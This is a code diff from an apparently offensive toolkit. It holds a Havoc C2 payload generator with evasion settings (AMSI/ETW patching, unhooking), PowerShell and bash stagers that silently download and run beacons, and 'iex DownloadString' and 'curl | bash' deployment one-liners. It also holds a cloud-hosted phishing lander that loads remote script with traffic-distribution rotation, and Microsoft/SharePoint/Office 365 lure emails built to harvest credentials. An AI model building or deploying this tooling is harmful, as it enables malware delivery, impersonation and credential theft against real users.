   drops artifacts to the payload server staging directory.
-# Configuration (automatically populated by Ansible)
+   Omitted from public release. Present in operational deployments.
-PAYLOADS_DIR="/root/Tools/Havoc/payloads"
+#}
-C2_HOST="{{ ansible_host }}"
+echo "[!] Havoc payload generator not included in public release."
 REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
 REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
 TEAMSERVER_HOST="127.0.0.1"
 TEAMSERVER_PORT="40056"
 HAVOC_DIR="/root/Tools/Havoc"
 HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
 # Ensure required directories exist
 mkdir -p $PAYLOADS_DIR/windows
 mkdir -p $PAYLOADS_DIR/linux
 mkdir -p $PAYLOADS_DIR/staged
 # Generate unique random values for each execution
 random_string() { 
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
 }
 # Define Havoc profiles for different payloads
 generate_profiles() {
    echo "[+] Generating Havoc C2 profiles..."
    # Profile for Windows EXE
    cat > $PAYLOADS_DIR/win_exe.profile << EOF
 {
    "Listener": "https",
    "Demon": {
        "Sleep": 5,
        "SleepJitter": 30,
        "IndirectSyscalls": true,
        "Inject": {
            "AllocationMethod": 0,
            "ExecutionMethod": 0,
            "ExecuteOptions": 0
        },
        "Evasion": {
            "StackSpoofing": true,
            "SleazeUnhook": true,
            "AmsiEtwPatching": true
        },
        "Formats": [
            "Binary",
            "Shellcode"
        ]
    }
 }
 EOF
    # Profile for Linux ELF
    cat > $PAYLOADS_DIR/linux_elf.profile << EOF
 {
    "Listener": "https",
    "Demon": {
        "Sleep": 5,
        "SleepJitter": 30,
        "Injection": {
            "SpawnMethod": 1,
            "AllocationMethod": 1
        },
        "Formats": [
            "Binary",
            "Shellcode"
        ]
    }
 }
 EOF
    echo "[+] Profiles created successfully"
 }
 # Generate Havoc payloads with CLI arguments
 generate_payloads() {
    echo "[+] Generating Havoc payloads..."
    # Windows EXE
    win_output="agent_win_$(random_string 8).exe"
    echo "[+] Generating Windows payload: $win_output"
    $HAVOC_CLIENT headless \
        --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
        --username "admin" \
        --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$PAYLOADS_DIR/win_exe.profile" \
        --format exe \
        --output "$PAYLOADS_DIR/windows/$win_output" \
        > /dev/null 2>&1
    # Windows DLL
    dll_output="module_$(random_string 8).dll"
    echo "[+] Generating Windows DLL: $dll_output"
    $HAVOC_CLIENT headless \
        --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
        --username "admin" \
        --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$PAYLOADS_DIR/win_exe.profile" \
        --format dll \
        --output "$PAYLOADS_DIR/windows/$dll_output" \
        > /dev/null 2>&1
    # Linux ELF
    linux_output="agent_linux_$(random_string 8)"
    echo "[+] Generating Linux payload: $linux_output"
    $HAVOC_CLIENT headless \
        --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
        --username "admin" \
        --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$PAYLOADS_DIR/linux_elf.profile" \
        --format elf \
        --output "$PAYLOADS_DIR/linux/$linux_output" \
        > /dev/null 2>&1
    echo "[+] All payloads generated successfully!"
    # Return payload names for reference
    echo "$win_output:$dll_output:$linux_output"
 }
 # Generate PowerShell and bash stagers
 generate_stagers() {
    win_output=$1
    linux_output=$2
    echo "[+] Generating stagers..."
    # PowerShell stager
    cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
 # PowerShell stager for Havoc C2
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
 \$ErrorActionPreference = 'SilentlyContinue'
 \$wc = New-Object System.Net.WebClient
 \$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
 \$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
 \$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
 \$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
 \$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
 try {
    \$wc.DownloadFile(\$url, \$outpath)
    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
    Start-Process -WindowStyle Hidden -FilePath \$outpath
 } catch {
    # Fail silently
 }
 EOF
    # Bash stager
    cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
 #!/bin/bash
 # Linux download and execute Havoc beacon
 # Download binary to /tmp with random name
 TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
 curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
 chmod +x \$TMPFILE
 # Execute in background
 \$TMPFILE &
 echo "Update complete."
 EOF
    chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
    echo "[+] Stagers generated successfully"
 }
 # Create manifest file
 create_manifest() {
    payload_info=$1
    win_output=$(echo $payload_info | cut -d':' -f1)
    dll_output=$(echo $payload_info | cut -d':' -f2)
    linux_output=$(echo $payload_info | cut -d':' -f3)
    cat > $PAYLOADS_DIR/manifest.json << EOF
 {
  "windows_exe": "$win_output",
  "windows_dll": "$dll_output",
  "linux_binary": "$linux_output",
  "redirector_host": "$REDIRECTOR_HOST",
  "redirector_port": "$REDIRECTOR_PORT",
  "c2_host": "$C2_HOST",
  "generated_date": "$(date)"
 }
 EOF
    echo "[+] Manifest created successfully"
 }
 # Create reference file
 create_reference() {
    payload_info=$1
    win_output=$(echo $payload_info | cut -d':' -f1)
    dll_output=$(echo $payload_info | cut -d':' -f2)
    linux_output=$(echo $payload_info | cut -d':' -f3)
    cat > $PAYLOADS_DIR/reference.txt << EOF
 Havoc C2 Server Details:
 - C2 IP: $C2_HOST
 - Redirector Domain: $REDIRECTOR_HOST
 Payloads Generated ($(date)):
 - Windows EXE: $win_output
 - Windows DLL: $dll_output
 - Linux Binary: $linux_output
 Usage:
 1. Ensure your redirector is properly configured to forward requests to the C2 server
 2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
 3. Test connectivity before deployment in target environment
 Payload deployment:
 - PowerShell:
  powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
 - Linux:
  curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
 EOF
    echo "[+] Reference file created successfully"
 }
 # Main execution flow
 echo "[+] Starting Havoc C2 payload generation..."
 echo "[+] Redirector: $REDIRECTOR_HOST"
 echo "[+] C2 Host: $C2_HOST"
 # Create stagers directory
 mkdir -p $PAYLOADS_DIR/stagers
 # Generate profiles
 generate_profiles
 # Generate payloads
 payload_info=$(generate_payloads)
 # Generate stagers
 generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
 # Create manifest
 create_manifest "$payload_info"
 # Create reference
 create_reference "$payload_info"
 echo "[+] Havoc payload generation complete!"
@@ -158,31 +158,6 @@ def gather_phishing_parameters():
    config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
    config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
    # Trusted-cloud lander
    print(f"\n{COLORS['BLUE']}Trusted-Cloud Lander (optional){COLORS['RESET']}")
    config['use_lander'] = confirm_action("Generate a trusted-cloud lander page?", default=False)
    if config['use_lander']:
        config['lander_campaign_id'] = input("Campaign ID (alphanumeric, _ -) [required]: ").strip()
        if not config['lander_campaign_id']:
            print(f"{COLORS['RED']}Campaign ID required; skipping lander.{COLORS['RESET']}")
            config['use_lander'] = False
        else:
            print("Provider: 1) GCS  2) S3  3) Azure Blob")
            _pmap = {'1': 'gcs', '2': 's3', '3': 'azure'}
            config['lander_provider'] = _pmap.get(input("Select provider [1]: ").strip() or '1', 'gcs')
            config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
            if not config['lander_bucket']:
                print(f"{COLORS['RED']}Bucket required; skipping lander.{COLORS['RESET']}")
                config['use_lander'] = False
            else:
                print("Mode: 1) Simple redirect  2) TDS (random subdomain rotation)")
                config['lander_mode'] = 'tds' if (input("Select mode [1]: ").strip() == '2') else 'simple'
                if config['lander_mode'] == 'tds':
                    raw = input("TDS domains (comma-separated, no scheme) [required]: ").strip()
                    config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
                default_redirect = f"https://{config.get('phishing_hostname', config['phishing_domain'])}/login"
                config['lander_redirect_url'] = input(f"Redirect URL [default: {default_redirect}]: ").strip() or default_redirect
    return config
 def phishing_menu():
@@ -442,9 +417,6 @@ def execute_phishing_deployment(config):
    if success:
        print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
        from modules.phishing.lander_gen import post_deploy_generate_lander
        post_deploy_generate_lander(config)
        if config.get('ssh_after_deploy'):
            from utils.ssh_utils import ssh_to_instance
            ssh_to_instance(config)
@@ -1,108 +0,0 @@
 #!/usr/bin/env python3
 import re
 import shlex
 from pathlib import Path
 from urllib.parse import urlparse
 from jinja2 import Environment, FileSystemLoader
 from utils.common import COLORS
 _CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
 def _validate_campaign_id(campaign_id: str) -> str:
    if not _CAMPAIGN_ID_RE.match(campaign_id):
        raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
    return campaign_id
 def _validate_https_url(url: str, label: str) -> str:
    parsed = urlparse(url)
    if parsed.scheme != 'https' or not parsed.netloc:
        raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
    return url
 def post_deploy_generate_lander(config: dict) -> None:
    if not config.get('use_lander'):
        return
    campaign_id = _validate_campaign_id(config['lander_campaign_id'])
    provider = config['lander_provider']
    mode = config['lander_mode']
    bucket = config['lander_bucket']
    redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
    phishing_hostname = config.get('phishing_hostname', 'phishing.local')
    js_payload_url = _validate_https_url(
        f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
    )
    template_dir = Path(__file__).parent / 'templates'
    env = Environment(loader=FileSystemLoader(str(template_dir)))
    context = {
        'tds_enabled': mode == 'tds',
        'tds_domains': config.get('lander_tds_domains', []),
        'js_payload_url': js_payload_url,
        'redirect_url': redirect_url,
    }
    html_template = env.get_template('cloud-lander.html.j2')
    js_template = env.get_template('js-payload.js.j2')
    html_content = html_template.render(context)
    js_content = js_template.render(context)
    out_dir = Path('.')
    html_file = out_dir / f'lander-{campaign_id}.html'
    js_file = out_dir / f'js-payload-{campaign_id}.js'
    html_file.write_text(html_content)
    js_file.write_text(js_content)
    print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
    print(f"    {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
    print(f"    {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
    qbucket = shlex.quote(bucket)
    qhtml = shlex.quote(str(html_file))
    qjs = shlex.quote(str(js_file))
    if provider == 'gcs':
        public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
        upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
    elif provider == 's3':
        public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
        upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
    elif provider == 'azure':
        public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
        upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
    else:
        public_url = f"<unknown provider: {provider}>"
        upload_cmd = "<unknown provider>"
    print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
    print(f"    {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
    print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
    print(f"    {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
    print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
    webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
    print(f"    {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
    # ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
    print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
 if __name__ == '__main__':
    test_config = {
        'use_lander': False,
        'lander_campaign_id': 'test_001',
        'lander_provider': 'gcs',
        'lander_mode': 'simple',
        'lander_bucket': 'test-bucket',
        'lander_redirect_url': 'https://phishing.local/login',
        'phishing_hostname': 'phishing.local',
    }
    post_deploy_generate_lander(test_config)
    print("Self-check passed: disabled lander returned None without errors")
@@ -1,31 +0,0 @@
 <!DOCTYPE html>
 <html>
 <head>
    <meta charset="UTF-8">
    <meta name="robots" content="noindex, noarchive">
    <title>Loading...</title>
    <script>
 {% if tds_enabled %}
        (function() {
            var domains = {{ tds_domains | tojson }};
            var randomDomain = domains[Math.floor(Math.random() * domains.length)];
            function makeRandomSub(n) {
                var r='', c='abcdefghijklmnopqrstuvwxyz0123456789';
                for(var i=0;i<n;i++) r+=c.charAt(Math.floor(Math.random()*c.length));
                return r+'.';
            }
            var script = document.createElement('script');
            script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
            document.head.appendChild(script);
        })();
 {% else %}
        (function() {
            var script = document.createElement('script');
            script.src = {{ js_payload_url | tojson }} + '?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
            document.head.appendChild(script);
        })();
 {% endif %}
    </script>
 </head>
 <body></body>
 </html>
@@ -1,118 +1,8 @@
-<!DOCTYPE html>
+{# OMITTED — file_share phishing email template #}
-<html>
+{#
-<head>
+   Jinja2 email template for the file_share lure scenario. Rendered at deploy
-    <meta charset="UTF-8">
+   time with target organization name, sender domain, and tracking pixel URL
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+   substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
    <title>Document Shared</title>
 </head>
 <body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
        <tr>
            <td align="center">
                <table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
                    <!-- Header -->
                    <tr>
                        <td style="padding: 20px; border-bottom: 1px solid #edebe9;">
                            <table cellpadding="0" cellspacing="0" border="0" width="100%">
                                <tr>
                                    <td>
                                        <img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
                                    </td>
                                    <td align="right">
                                        <span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
-                    <!-- Content -->
+   Omitted from public release. Present in operational deployments.
-                    <tr>
+#}
                        <td style="padding: 30px;">
                            <h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
                                Hi {{ "{{.FirstName}}" }},
                            </p>
                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
                                {{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
                            </p>
                            <!-- File Preview -->
                            <table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
                                <tr>
                                    <td style="padding: 20px;">
                                        <table cellpadding="0" cellspacing="0" border="0" width="100%">
                                            <tr>
                                                <td style="width: 48px; padding-right: 15px; vertical-align: top;">
                                                    <img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
                                                </td>
                                                <td>
                                                    <h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
                                                    <p style="color: #605e5c; font-size: 14px; margin: 0;">
                                                        {{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
                                                    </p>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                            <!-- Sender Message -->
                            {% if include_message | default(true) %}
                            <div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
                                <p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
                                <p style="color: #605e5c; font-size: 14px; margin: 0;">
                                    {{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
                                </p>
                            </div>
                            {% endif %}
                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
                                <tr>
                                    <td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
                                        <a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
                                            Open in SharePoint
                                        </a>
                                    </td>
                                </tr>
                            </table>
                            <p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
                                This link will expire in {{ expiry_days | default('7') }} days.<br>
                                Only people with the link can access this file.
                            </p>
                        </td>
                    </tr>
                    <!-- Footer -->
                    <tr>
                        <td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
                            <p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
                                Get the SharePoint mobile app
                            </p>
                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
                                <tr>
                                    <td style="padding: 0 5px;">
                                        <a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
                                    </td>
                                    <td style="padding: 0 5px;">
                                        <a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
                                    </td>
                                </tr>
                            </table>
                            <p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
                                © {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
                                <a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> | 
                                <a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
                            </p>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
 </body>
 </html>
@@ -1,51 +1,8 @@
-<!DOCTYPE html>
+{# OMITTED — office365_login phishing email template #}
-<html>
+{#
-<head>
+   Jinja2 email template for the office365_login lure scenario. Rendered at deploy
-    <meta charset="UTF-8">
+   time with target organization name, sender domain, and tracking pixel URL
-    <title>Microsoft Office 365 - Sign-in Required</title>
+   substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
        .container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
        .header { background: #0078d4; padding: 20px; color: white; }
        .content { padding: 30px; line-height: 1.6; }
        .button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
        .footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
        .urgent { color: #d13438; font-weight: bold; }
    </style>
 </head>
 <body>
    <div class="container">
        <div class="header">
            <h2>Microsoft Office 365</h2>
        </div>
        <div class="content">
            <p>Hello {{ first_name | default('User') }},</p>
-            <p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p>
+   Omitted from public release. Present in operational deployments.
-            
+#}
            <p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
            <p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
            <center>
                <a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
            </center>
            <p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
            https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
            <p>Thank you for your cooperation in keeping your account secure.</p>
            <p>Best regards,<br>
            Microsoft Account Security Team</p>
        </div>
        <div class="footer">
            <p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
            <p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
        </div>
    </div>
    <!-- Tracking pixel -->
    <img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
 </body>
 </html>
@@ -1,95 +1,8 @@
-<!DOCTYPE html>
+{# OMITTED — password_expiry phishing email template #}
-<html>
+{#
-<head>
+   Jinja2 email template for the password_expiry lure scenario. Rendered at deploy
-    <meta charset="UTF-8">
+   time with target organization name, sender domain, and tracking pixel URL
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+   substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
    <title>Password Expiration Notice</title>
 </head>
 <body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
        <tr>
            <td align="center">
                <table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
                    <!-- Header -->
                    <tr>
                        <td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
                            <img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
                        </td>
                    </tr>
-                    <!-- Warning Banner -->
+   Omitted from public release. Present in operational deployments.
-                    <tr>
+#}
                        <td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
                            <table cellpadding="0" cellspacing="0" border="0">
                                <tr>
                                    <td style="padding-right: 10px;">
                                        <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
                                    </td>
                                    <td>
                                        <strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
                                    </td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                    <!-- Content -->
                    <tr>
                        <td style="padding: 30px;">
                            <h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
                                Hello {{ "{{.FirstName}}" }},
                            </p>
                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
                                Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>. 
                                To prevent any interruption to your access, please update your password before it expires.
                            </p>
                            <p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
                                Password requirements:
                            </p>
                            <ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
                                <li>Minimum 12 characters</li>
                                <li>At least one uppercase letter</li>
                                <li>At least one lowercase letter</li>
                                <li>At least one number</li>
                                <li>At least one special character</li>
                                <li>Cannot be the same as your last 5 passwords</li>
                            </ul>
                            <table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
                                <tr>
                                    <td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
                                        <a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
                                            Update Password Now
                                        </a>
                                    </td>
                                </tr>
                            </table>
                            <p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
                                If you're unable to click the button above, copy and paste this link into your browser:<br>
                                <a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
                            </p>
                        </td>
                    </tr>
                    <!-- Footer -->
                    <tr>
                        <td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
                            <p style="color: #a19f9d; font-size: 12px; margin: 0;">
                                This is an automated message from {{ organization | default('IT Department') }}.<br>
                                Please do not reply to this email.<br>
                                For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
                            </p>
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
 </body>
 </html>
@@ -1,103 +1,8 @@
-<!DOCTYPE html>
+{# OMITTED — security_alert phishing email template #}
-<html>
+{#
-<head>
+   Jinja2 email template for the security_alert lure scenario. Rendered at deploy
-    <meta charset="UTF-8">
+   time with target organization name, sender domain, and tracking pixel URL
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+   substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
    <title>Security Alert</title>
 </head>
 <body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
        <tr>
            <td align="center">
                <table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
                    <!-- Header -->
                    <tr>
                        <td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
                            <h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
                        </td>
                    </tr>
-                    <!-- Content -->
+   Omitted from public release. Present in operational deployments.
-                    <tr>
+#}
                        <td style="padding: 30px;">
                            <h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
                            <p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
                                Dear {{ "{{.FirstName}}" }},
                            </p>
                            <p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
                                We detected unusual sign-in activity on your account:
                            </p>
                            <table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
                                <tr>
                                    <td style="padding: 20px;">
                                        <table cellpadding="0" cellspacing="0" border="0" width="100%">
                                            <tr>
                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
                                            </tr>
                                            <tr>
                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
                                            </tr>
                                            <tr>
                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
                                            </tr>
                                            <tr>
                                                <td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
                                                <td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                            <p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
                                <strong>If this was you:</strong> You can safely ignore this email.<br>
                                <strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
                            </p>
